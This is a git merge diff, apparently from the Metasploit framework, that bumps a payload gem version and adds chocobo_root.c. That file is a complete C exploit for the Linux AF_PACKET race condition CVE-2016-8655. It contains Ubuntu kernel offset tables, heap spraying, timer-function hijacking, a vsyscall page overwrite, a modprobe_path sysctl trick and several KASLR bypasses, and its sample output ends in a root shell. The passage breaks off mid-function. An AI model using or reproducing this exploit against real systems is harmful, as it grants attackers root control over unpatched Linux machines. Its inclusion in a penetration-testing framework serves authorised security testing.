Merge branch 'master' into local_api_docs
commit
b83ee106f7
|
@ -18,7 +18,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.34)
|
||||
metasploit-payloads (= 1.3.37)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.3.8)
|
||||
mqtt
|
||||
|
@ -161,7 +161,7 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.34)
|
||||
metasploit-payloads (1.3.37)
|
||||
metasploit_data_models (3.0.0)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
|
Binary file not shown.
|
@ -0,0 +1,945 @@
|
|||
/*
|
||||
chocobo_root.c
|
||||
linux AF_PACKET race condition exploit for CVE-2016-8655.
|
||||
Includes KASLR and SMEP/SMAP bypasses.
|
||||
For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74.
|
||||
All kernel offsets have been tested on Ubuntu / Linux Mint.
|
||||
|
||||
vroom vroom
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
|
||||
user@ubuntu:~$ uname -a
|
||||
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
|
||||
user@ubuntu:~$ id
|
||||
uid=1000(user) gid=1000(user) groups=1000(user)
|
||||
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
|
||||
user@ubuntu:~$ ./chocobo_root
|
||||
linux AF_PACKET race condition exploit by rebel
|
||||
kernel version: 4.4.0-51-generic #72
|
||||
proc_dostring = 0xffffffff81088090
|
||||
modprobe_path = 0xffffffff81e48f80
|
||||
register_sysctl_table = 0xffffffff812879a0
|
||||
set_memory_rw = 0xffffffff8106f320
|
||||
exploit starting
|
||||
making vsyscall page writable..
|
||||
|
||||
new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000
|
||||
sockets allocated
|
||||
removing barrier and spraying..
|
||||
version switcher stopping, x = -1 (y = 174222, last val = 2)
|
||||
current packet version = 0
|
||||
pbd->hdr.bh1.offset_to_first_pkt = 48
|
||||
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
|
||||
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
|
||||
closing socket and verifying.......
|
||||
vsyscall page altered!
|
||||
|
||||
|
||||
stage 1 completed
|
||||
registering new sysctl..
|
||||
|
||||
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
|
||||
sockets allocated
|
||||
removing barrier and spraying..
|
||||
version switcher stopping, x = -1 (y = 30773, last val = 0)
|
||||
current packet version = 2
|
||||
pbd->hdr.bh1.offset_to_first_pkt = 48
|
||||
race not won
|
||||
|
||||
retrying stage..
|
||||
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
|
||||
sockets allocated
|
||||
removing barrier and spraying..
|
||||
version switcher stopping, x = -1 (y = 133577, last val = 2)
|
||||
current packet version = 0
|
||||
pbd->hdr.bh1.offset_to_first_pkt = 48
|
||||
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
|
||||
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
|
||||
closing socket and verifying.......
|
||||
sysctl added!
|
||||
|
||||
stage 2 completed
|
||||
binary executed by kernel, launching rootshell
|
||||
root@ubuntu:~# id
|
||||
uid=0(root) gid=0(root) groups=0(root),1000(user)
|
||||
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
|
||||
|
||||
Shoutouts to:
|
||||
jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI)
|
||||
mcdelivery for delivering hotcakes and coffee
|
||||
|
||||
11/2016
|
||||
by rebel
|
||||
---
|
||||
Updated by <bcoles@gmail.com>
|
||||
- check number of CPU cores
|
||||
- KASLR bypasses
|
||||
- additional kernel targets
|
||||
https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <poll.h>
|
||||
#include <pthread.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/sysinfo.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <linux/sched.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/if_ether.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions()
|
||||
int kernel = -1;
|
||||
|
||||
// New sysctl path
|
||||
const char *SYSCTL_NAME = "hack";
|
||||
const char *SYSCTL_PATH = "/proc/sys/hack";
|
||||
|
||||
volatile int barrier = 1;
|
||||
volatile int vers_switcher_done = 0;
|
||||
|
||||
struct kernel_info {
|
||||
char *kernel_version;
|
||||
unsigned long proc_dostring;
|
||||
unsigned long modprobe_path;
|
||||
unsigned long register_sysctl_table;
|
||||
unsigned long set_memory_rw;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 },
|
||||
{ "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 },
|
||||
{ "4.4.0-24-generic #43~14.04.1-Ubuntu", 0x084120, 0xc4b080, 0x2736f0, 0x06b880 },
|
||||
{ "4.4.0-28-generic #47~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273b70, 0x06b880 },
|
||||
{ "4.4.0-31-generic #50~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c20, 0x06b880 },
|
||||
{ "4.4.0-34-generic #53~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c40, 0x06b880 },
|
||||
{ "4.4.0-36-generic #55~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c60, 0x06b890 },
|
||||
{ "4.4.0-38-generic #57~14.04.1-Ubuntu", 0x084210, 0xe4b100, 0x2742e0, 0x06b890 },
|
||||
{ "4.4.0-42-generic #62~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274300, 0x06b880 },
|
||||
{ "4.4.0-45-generic #66~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274340, 0x06b880 },
|
||||
//{"4.4.0-46-generic #67~14.04.1-Ubuntu",0x0842f0,0xe4b100,0x274580,0x06b880},
|
||||
{ "4.4.0-47-generic #68~14.04.1-Ubuntu", 0x0842f0, 0xe4b100, 0x274580, 0x06b880 },
|
||||
//{"4.4.0-49-generic #70~14.04.1-Ubuntu",0x084350,0xe4b100,0x274b10,0x06b880},
|
||||
{ "4.4.0-51-generic #72~14.04.1-Ubuntu", 0x084350, 0xe4b100, 0x274750, 0x06b880 },
|
||||
|
||||
{ "4.4.0-21-generic #37-Ubuntu", 0x087cf0, 0xe48e80, 0x286310, 0x06f370 },
|
||||
{ "4.4.0-22-generic #40-Ubuntu", 0x087d40, 0xe48f00, 0x2864d0, 0x06f370 },
|
||||
{ "4.4.0-24-generic #43-Ubuntu", 0x087e60, 0xe48f00, 0x2868f0, 0x06f370 },
|
||||
{ "4.4.0-28-generic #47-Ubuntu", 0x087ea0, 0xe48f80, 0x286df0, 0x06f370 },
|
||||
{ "4.4.0-31-generic #50-Ubuntu", 0x087ea0, 0xe48f80, 0x286e90, 0x06f370 },
|
||||
{ "4.4.0-34-generic #53-Ubuntu", 0x087ea0, 0xe48f80, 0x286ed0, 0x06f370 },
|
||||
{ "4.4.0-36-generic #55-Ubuntu", 0x087ea0, 0xe48f80, 0x286e50, 0x06f360 },
|
||||
{ "4.4.0-38-generic #57-Ubuntu", 0x087f70, 0xe48f80, 0x287470, 0x06f360 },
|
||||
{ "4.4.0-42-generic #62-Ubuntu", 0x087fc0, 0xe48f80, 0x2874a0, 0x06f320 },
|
||||
{ "4.4.0-43-generic #63-Ubuntu", 0x087fc0, 0xe48f80, 0x2874b0, 0x06f320 },
|
||||
{ "4.4.0-45-generic #66-Ubuntu", 0x087fc0, 0xe48f80, 0x2874c0, 0x06f320 },
|
||||
//{"4.4.0-46-generic #67-Ubuntu",0x088040,0xe48f80,0x287800,0x06f320},
|
||||
{ "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 },
|
||||
//{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320},
|
||||
{ "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320},
|
||||
};
|
||||
|
||||
#define VSYSCALL 0xffffffffff600000
|
||||
#define PROC_DOSTRING (KERNEL_BASE + kernels[kernel].proc_dostring)
|
||||
#define MODPROBE_PATH (KERNEL_BASE + kernels[kernel].modprobe_path)
|
||||
#define REGISTER_SYSCTL_TABLE (KERNEL_BASE + kernels[kernel].register_sysctl_table)
|
||||
#define SET_MEMORY_RW (KERNEL_BASE + kernels[kernel].set_memory_rw)
|
||||
|
||||
#define KMALLOC_PAD 64
|
||||
|
||||
int pad_fds[KMALLOC_PAD];
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
struct ctl_table {
|
||||
const char *procname;
|
||||
void *data;
|
||||
int maxlen;
|
||||
unsigned short mode;
|
||||
struct ctl_table *child;
|
||||
void *proc_handler;
|
||||
void *poll;
|
||||
void *extra1;
|
||||
void *extra2;
|
||||
};
|
||||
|
||||
#define CONF_RING_FRAMES 1
|
||||
|
||||
struct tpacket_req3 tp;
|
||||
int sfd;
|
||||
int mapped = 0;
|
||||
|
||||
struct timer_list {
|
||||
void *next;
|
||||
void *prev;
|
||||
unsigned long expires;
|
||||
void (*function)(unsigned long);
|
||||
unsigned long data;
|
||||
unsigned int flags;
|
||||
int slack;
|
||||
};
|
||||
|
||||
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void *setsockopt_thread(void *arg)
|
||||
{
|
||||
while (barrier) {}
|
||||
setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void *vers_switcher(void *arg)
|
||||
{
|
||||
int val,x,y;
|
||||
|
||||
while (barrier) {}
|
||||
|
||||
while (1) {
|
||||
val = TPACKET_V1;
|
||||
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
|
||||
|
||||
y++;
|
||||
|
||||
if (x != 0) break;
|
||||
|
||||
val = TPACKET_V3;
|
||||
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
|
||||
|
||||
if (x != 0) break;
|
||||
|
||||
y++;
|
||||
}
|
||||
|
||||
dprintf("[.] version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
|
||||
vers_switcher_done = 1;
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define BUFSIZE 1408
|
||||
char exploitbuf[BUFSIZE];
|
||||
|
||||
void kmalloc(void)
|
||||
{
|
||||
while(1)
|
||||
syscall(__NR_add_key, "user", "wtf", exploitbuf, BUFSIZE - 24, -2);
|
||||
}
|
||||
|
||||
void pad_kmalloc(void)
|
||||
{
|
||||
int x;
|
||||
for (x = 0; x < KMALLOC_PAD; x++)
|
||||
if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) {
|
||||
dprintf("[-] pad_kmalloc() socket error\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
{
|
||||
pthread_t setsockopt_thread_thread,a;
|
||||
int val;
|
||||
socklen_t l;
|
||||
struct timer_list *timer;
|
||||
int fd;
|
||||
struct tpacket_block_desc *pbd;
|
||||
int off;
|
||||
sigset_t set;
|
||||
|
||||
sigemptyset(&set);
|
||||
|
||||
sigaddset(&set, SIGSEGV);
|
||||
|
||||
if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
|
||||
dprintf("[-] couldn't set sigmask\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
dprintf("[.] new exploit attempt starting, jumping to %p, arg=%p\n", (void *)func, (void *)arg);
|
||||
|
||||
pad_kmalloc();
|
||||
|
||||
fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
|
||||
|
||||
if (fd == -1) {
|
||||
dprintf("[-] target socket error\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pad_kmalloc();
|
||||
|
||||
dprintf("[.] done, sockets allocated\n");
|
||||
|
||||
val = TPACKET_V3;
|
||||
|
||||
setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
|
||||
|
||||
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
|
||||
tp.tp_block_nr = 1;
|
||||
tp.tp_frame_size = getpagesize();
|
||||
tp.tp_frame_nr = CONF_RING_FRAMES;
|
||||
|
||||
// try to set the timeout to 10 seconds
|
||||
// the default timeout might still be used though depending on when the race was won
|
||||
tp.tp_retire_blk_tov = 10000;
|
||||
|
||||
sfd = fd;
|
||||
|
||||
if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
|
||||
dprintf("[-] Error creating thread\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
pthread_create(&a, NULL, vers_switcher, (void *)NULL);
|
||||
|
||||
usleep(200000);
|
||||
|
||||
dprintf("[.] removing barrier and spraying...\n");
|
||||
|
||||
memset(exploitbuf, '\x00', BUFSIZE);
|
||||
|
||||
timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
|
||||
timer->next = 0;
|
||||
timer->prev = 0;
|
||||
|
||||
timer->expires = 4294943360;
|
||||
timer->function = (void *)func;
|
||||
timer->data = arg;
|
||||
timer->flags = 1;
|
||||
timer->slack = -1;
|
||||
|
||||
barrier = 0;
|
||||
|
||||
usleep(100000);
|
||||
|
||||
while (!vers_switcher_done) usleep(100000);
|
||||
|
||||
l = sizeof(val);
|
||||
getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);
|
||||
|
||||
dprintf("[.] current packet version = %d\n",val);
|
||||
|
||||
pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
|
||||
|
||||
if (pbd == MAP_FAILED) {
|
||||
dprintf("[-] could not map pbd\n");
|
||||
exit(1);
|
||||
} else {
|
||||
off = pbd->hdr.bh1.offset_to_first_pkt;
|
||||
dprintf("[.] pbd->hdr.bh1.offset_to_first_pkt = %d\n", off);
|
||||
}
|
||||
|
||||
|
||||
if (val == TPACKET_V1 && off != 0) {
|
||||
dprintf("*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
|
||||
} else {
|
||||
dprintf("[-] race not won\n");
|
||||
exit(2);
|
||||
}
|
||||
|
||||
munmap(pbd, tp.tp_block_size * tp.tp_block_nr);
|
||||
|
||||
pthread_create(&a, NULL, verification_func, (void *)NULL);
|
||||
|
||||
dprintf("\n");
|
||||
dprintf("[!] please wait up to a few minutes for timer to be executed.\n");
|
||||
dprintf("[!] if you ctrl-c now the kernel will hang. so don't do that.\n");
|
||||
dprintf("\n");
|
||||
|
||||
sleep(1);
|
||||
dprintf("[.] closing socket and verifying...\n");
|
||||
|
||||
close(sfd);
|
||||
|
||||
kmalloc();
|
||||
|
||||
dprintf("[.] all messages sent\n");
|
||||
|
||||
sleep(31337);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int verification_result = 0;
|
||||
|
||||
void catch_sigsegv(int sig)
|
||||
{
|
||||
verification_result = 0;
|
||||
pthread_exit((void *)1);
|
||||
}
|
||||
|
||||
void *modify_vsyscall(void *arg)
|
||||
{
|
||||
unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
|
||||
unsigned long x = (unsigned long)arg;
|
||||
|
||||
sigset_t set;
|
||||
sigemptyset(&set);
|
||||
sigaddset(&set, SIGSEGV);
|
||||
|
||||
if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
|
||||
dprintf("[-] couldn't set sigmask\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
signal(SIGSEGV, catch_sigsegv);
|
||||
|
||||
*vsyscall = 0xdeadbeef+x;
|
||||
|
||||
if (*vsyscall == 0xdeadbeef+x) {
|
||||
dprintf("[~] vsyscall page altered!\n");
|
||||
verification_result = 1;
|
||||
pthread_exit(0);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void verify_stage1(void)
|
||||
{
|
||||
pthread_t v_thread;
|
||||
|
||||
sleep(5);
|
||||
|
||||
int x;
|
||||
for(x = 0; x < 300; x++) {
|
||||
|
||||
pthread_create(&v_thread, NULL, modify_vsyscall, 0);
|
||||
|
||||
pthread_join(v_thread, NULL);
|
||||
|
||||
if(verification_result == 1) {
|
||||
exit(0);
|
||||
}
|
||||
|
||||
write(2,".",1);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
dprintf("[-] could not modify vsyscall\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
void verify_stage2(void)
|
||||
{
|
||||
struct stat b;
|
||||
|
||||
sleep(5);
|
||||
|
||||
int x;
|
||||
for(x = 0; x < 300; x++) {
|
||||
|
||||
if (stat(SYSCTL_PATH, &b) == 0) {
|
||||
dprintf("[~] sysctl added!\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
write(2,".",1);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
dprintf("[-] could not add sysctl\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
void exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
{
|
||||
int status;
|
||||
int pid;
|
||||
|
||||
retry:
|
||||
|
||||
pid = fork();
|
||||
|
||||
if (pid == 0) {
|
||||
try_exploit(func, arg, verification_func);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
wait(&status);
|
||||
|
||||
dprintf("\n");
|
||||
|
||||
if (WEXITSTATUS(status) == 2) {
|
||||
dprintf("[.] retrying stage...\n");
|
||||
kill(pid, 9);
|
||||
sleep(2);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
if (WEXITSTATUS(status) != 0) {
|
||||
dprintf("[-] something bad happened, aborting exploit attempt\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
kill(pid, 9);
|
||||
}
|
||||
|
||||
|
||||
void wrapper(void)
|
||||
{
|
||||
struct ctl_table *c;
|
||||
|
||||
dprintf("[.] making vsyscall page writable...\n\n");
|
||||
|
||||
exploit(SET_MEMORY_RW, VSYSCALL, verify_stage1);
|
||||
|
||||
dprintf("[~] done, stage 1 completed\n");
|
||||
|
||||
sleep(5);
|
||||
|
||||
dprintf("[.] registering new sysctl...\n\n");
|
||||
|
||||
c = (struct ctl_table *)(VSYSCALL+0x850);
|
||||
|
||||
memset((char *)(VSYSCALL+0x850), '\x00', 1952);
|
||||
|
||||
strcpy((char *)(VSYSCALL+0xf00), SYSCTL_NAME);
|
||||
memcpy((char *)(VSYSCALL+0xe00), "\x01\x00\x00\x00",4);
|
||||
c->procname = (char *)(VSYSCALL+0xf00);
|
||||
c->mode = 0666;
|
||||
c->proc_handler = (void *)(PROC_DOSTRING);
|
||||
c->data = (void *)(MODPROBE_PATH);
|
||||
c->maxlen = 256;
|
||||
c->extra1 = (void *)(VSYSCALL+0xe00);
|
||||
c->extra2 = (void *)(VSYSCALL+0xd00);
|
||||
|
||||
exploit(REGISTER_SYSCTL_TABLE, VSYSCALL+0x850, verify_stage2);
|
||||
|
||||
dprintf("[~] done, stage 2 completed\n");
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
void check_procs() {
|
||||
int min_procs = 2;
|
||||
|
||||
int nprocs = 0;
|
||||
nprocs = get_nprocs_conf();
|
||||
|
||||
if (nprocs < min_procs) {
|
||||
dprintf("[-] system has less than %d processor cores\n", min_procs);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] system has %d processor cores\n", nprocs);
|
||||
}
|
||||
|
||||
struct utsname get_kernel_version() {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname())\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return u;
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
void detect_versions() {
|
||||
struct utsname u;
|
||||
char kernel_version[512];
|
||||
|
||||
u = get_kernel_version();
|
||||
|
||||
if (strstr(u.machine, "64") == NULL) {
|
||||
dprintf("[-] system is not using a 64-bit kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "-Ubuntu") == NULL) {
|
||||
dprintf("[-] system is not using an Ubuntu kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char *u_ver = strtok(u.version, " ");
|
||||
snprintf(kernel_version, 512, "%s %s", u.release, u_ver);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
bool mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (end = start; substr[end] != '-'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xffffffffff000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (start = 0; substr[start] != '-'; start++);
|
||||
for (end = start; substr[end] != '\n'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
unsigned long addr = 0;
|
||||
char* syslog;
|
||||
int size;
|
||||
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
if (!mmap_syslog(&syslog, &size))
|
||||
return 0;
|
||||
|
||||
if (strstr(kernels[kernel].kernel_version, "14.04.1") != NULL)
|
||||
addr = get_kernel_addr_trusty(syslog, size);
|
||||
else
|
||||
addr = get_kernel_addr_xenial(syslog, size);
|
||||
|
||||
if (!addr)
|
||||
dprintf("[-] kernel base not found in syslog\n");
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
|
||||
struct utsname u;
|
||||
u = get_kernel_version();
|
||||
strcat(path, u.release);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_mincore() {
|
||||
unsigned char buf[getpagesize()/sizeof(unsigned char)];
|
||||
unsigned long iterations = 20000000;
|
||||
unsigned long addr = 0;
|
||||
|
||||
dprintf("[.] trying mincore info leak...\n");
|
||||
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
|
||||
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
|
||||
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i <= iterations; i++) {
|
||||
/* Touch a mishandle with this type mapping */
|
||||
if (mincore((void*)0x86000000, 0x1000000, buf)) {
|
||||
dprintf("[-] mincore()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int n;
|
||||
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
|
||||
addr = *(unsigned long*)(&buf[n]);
|
||||
/* Kernel address space */
|
||||
if (addr > 0xffffffff00000000) {
|
||||
addr &= 0xffffffffff000000ul;
|
